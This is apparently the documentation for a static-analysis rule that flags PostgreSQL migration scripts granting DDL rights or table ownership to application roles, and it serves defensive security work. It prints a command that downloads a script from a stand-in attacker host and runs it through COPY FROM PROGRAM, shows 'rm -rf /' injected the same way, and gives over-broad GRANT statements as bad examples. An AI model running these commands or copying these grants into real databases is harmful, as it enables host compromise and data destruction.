# ARGUS-A15: Forbidden DDL Grants and Ownership to Application Roles
> **Rule Code:** `ARGUS-A15`
> **Identifier:** `FORBIDDEN_DDL_APP_ROLE_GRANT`
> **Severity:** `CRITICAL` (Privilege Escalation & Host RCE Blocker)
> **Category:** `Database Security, Access Control & Privilege Escalation Prevention`
> **Target Standards:** CWE-250 (Execution with Unnecessary Privileges), CWE-269 (Improper Privilege Management), OWASP ASVS v4.0.3/v5.0 §V4.1.3, Least Privilege Principle (PoLP)
---
## 1. Overview & Core Invariant
Database migration and schema provisioning scripts (`migrations/`) **must never grant administrative permissions, DDL rights (`CREATE`, `DROP`, `ALTER`, `TRUNCATE`, `SUPERUSER`, `ALL PRIVILEGES`), or table ownership (`OWNER TO`)** to runtime application roles (`app_user`, `web_app`, or `PUBLIC`).
In accordance with the Principle of Least Privilege (PoLP), runtime application roles must strictly be limited to:
1. **Pure DML Permissions:** `SELECT`, `INSERT`, `UPDATE`, `DELETE` on operational tables.
2. **Sequence Permissions:** `USAGE` and `SELECT` on identity and sequence objects.
All table ownership and DDL permissions must be retained exclusively by dedicated migration or administrator roles (`admin_user` / `postgres`).
---
## 2. Technical Grounding & PostgreSQL Engine Realities
### 2.1. Absolute Power of Table Ownership (`OWNER TO`)
In PostgreSQL, the role owning a table possesses absolute authority over that object. The owner can execute `DROP TABLE`, `TRUNCATE`, or disable audit triggers without restriction, bypassing all table-level `REVOKE` policies. Assigning table ownership to runtime roles destroys audit immutability perimeters (`ARGUS-A05`).
### 2.2. Escalation from SQL Injection to Host Remote Code Execution (RCE)
If a runtime application role possesses `ALL PRIVILEGES` or `SUPERUSER`, an attacker exploiting a minor SQL injection vulnerability can execute arbitrary shell commands on the database host operating system:
```sql
COPY users FROM PROGRAM 'curl -s https://malicious.org/payload.sh | sh';
```
When runtime roles are strictly confined to pure DML, the PostgreSQL kernel rejects program execution with `ERROR: must be superuser to COPY to a program`, completely containing the blast radius (CWE-250 / CWE-269).
```mermaid
flowchart TD
subgraph ESCALATION ["Privilege Escalation Chain (HAZARDOUS)"]
direction TB
SQLi1["1. Minor SQL Injection in App Endpoint"] --> Attacker1["2. Attacker Injects: COPY ... FROM PROGRAM 'rm -rf /'"]
Attacker1 --> Role1["3. App Role has ALL PRIVILEGES / SUPERUSER / OWNER"]
Role1 --> RCE["4. PostgreSQL Executes Shell as OS postgres User -> HOST COMPROMISE (CWE-250)"]
end
subgraph CONTAINED ["Least Privilege Isolation (COMPLIANT)"]
direction TB
SQLi2["1. Minor SQL Injection in App Endpoint"] --> Attacker2["2. Attacker Injects: COPY ... FROM PROGRAM 'rm -rf /'"]
Attacker2 --> Role2["3. App Role has Pure DML Only (SELECT, INSERT, UPDATE, DELETE)"]
Role2 --> Blocked["4. PostgreSQL Engine: ERROR: permission denied -> ATTACK BLOCKED (Host Safe)"]
end
```
### 2.3. Schema Poisoning via Public Grants
Granting `CREATE` on `schema public` to pseudo-role `PUBLIC` allows any authenticated user or low-privilege service to inject rogue functions or operators into the PostgreSQL `search_path`.
---
## 3. How Argus Detects Violations (Static Analysis Architecture)
Argus inspects migration SQL scripts using PostgreSQL AST parsing:
```mermaid
flowchart LR
Scan["Scan .up.sql Migrations
(db/migrations)"] --> Parse["grant_ast_walker.go:
pg_query_go AST Inspection"]
Parse --> CheckGrant{"GrantStmt Targeting
Runtime App Role or PUBLIC?"}
Parse --> CheckOwner{"AlterTableCmd AT_ChangeOwner
Assigning Owner to App Role?"}
CheckGrant -->|Yes| PermCheck{"Includes DDL Privileges?
(CREATE, DROP, TRUNCATE, ALL)"}
PermCheck -->|Yes| ReportGrant["Report CRITICAL Violation:
Forbidden DDL Grant to App Role"]
CheckOwner -->|Yes| ReportOwner["Report CRITICAL Violation:
Forbidden Table Ownership Grant"]
PermCheck -->|No (Pure DML)| Pass["Pass (Safe DML Grant)"]
CheckOwner -->|No (Admin Owner)| Pass
```
1. **Grant Statement AST Walker (`grant_ast_walker.go`):** Inspects `GrantStmt` nodes, detecting permissions assigned to runtime roles (`app_user`, `PUBLIC`, etc.).
2. **Table Owner AST Walker (`grant_ast_walker.go`):** Detects `AlterTableCmd` nodes with subtype `AT_ChangeOwner`.
3. **Role Registry (`role_registry.go`):** Configurable runtime role identifier registry integrated with `.argus.yaml`.
4. **Standalone Runner (`standalone_runner.go`):** Direct CLI migration directory scanner for pre-commit verification.
---
## 4. Vulnerability & Risk Taxonomy
| Failure Mode | Technical Impact | Risk Severity |
| :------------------------------- | :----------------------------------------------------------------------------------------- | :------------ |
| **`ALL PRIVILEGES` to App Role** | Enables privilege escalation from SQL injection to host OS command execution (RCE). | **CRITICAL** |
| **Table `OWNER TO` App Role** | Allows runtime role to drop tables and disable audit triggers, destroying audit integrity. | **CRITICAL** |
| **`GRANT CREATE` to `PUBLIC`** | Enables schema poisoning and unauthorized object creation by any authenticated user. | **HIGH** |
| **`GRANT TRUNCATE` to App Role** | Permits bulk deletion of entire database tables via compromised application sessions. | **CRITICAL** |
---
## 5. Non-Compliant Code Patterns (Bad Examples)
### Example 1: Granting All Privileges
```sql
-- VIOLATION: Grants full administrative privileges to application role
-- 000001_init.up.sql
GRANT ALL PRIVILEGES ON TABLE users TO app_user;
```
### Example 2: Public Schema Create Grant
```sql
-- VIOLATION: Enables schema poisoning by all authenticated database users
-- 000002_permissions.up.sql
GRANT CREATE ON SCHEMA public TO PUBLIC;
```
### Example 3: Transferring Table Ownership
```sql
-- VIOLATION: Assigns irrevocable table control to runtime role
-- 000003_owner.up.sql
ALTER TABLE users OWNER TO app_user;
```
### Example 4: Multi-line DDL Grants
```sql
-- VIOLATION: Multi-line formatting cannot bypass AST analysis
-- 000004_multiline.up.sql
GRANT CREATE, DROP, TRUNCATE
ON SCHEMA public
TO app_user;
```
---
## 6. Compliant Implementation Patterns (Good Examples)
### Solution 1: Pure DML Table Permissions
```sql
-- COMPLIANT: Grants strictly necessary data manipulation privileges
-- 000001_init.up.sql
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE users TO app_user;
```
### Solution 2: Sequence Permissions for Auto-Increment
```sql
-- COMPLIANT: Grants identity sequence access for record generation
-- 000002_sequences.up.sql
GRANT USAGE, SELECT ON SEQUENCE users_id_seq TO app_user;
```
### Solution 3: Administrator Table Ownership
```sql
-- COMPLIANT: Table ownership retained by dedicated migration role
-- 000003_owner.up.sql
ALTER TABLE users OWNER TO admin_user;
```
---
## 7. How to Suppress (Ignore Directives)
For legacy database bootstrap scripts or local test harnesses:
```sql
-- argus:ignore-a15 intentional legacy bootstrap schema permissions
GRANT CREATE ON SCHEMA public TO PUBLIC;
```
Alternatively, use the canonical identifier alias:
```sql
-- argus:ignore FORBIDDEN_DDL_APP_ROLE_GRANT sandbox environment setup
GRANT ALL PRIVILEGES ON TABLE mock_data TO app_user;
```
---
## 8. Configuration Reference (`.argus.yaml`)
Configure designated runtime application roles in `.argus.yaml`:
```yaml
rules:
ARGUS-A15:
enabled: true
runtime_app_roles:
- app_user
- web_app
- public
```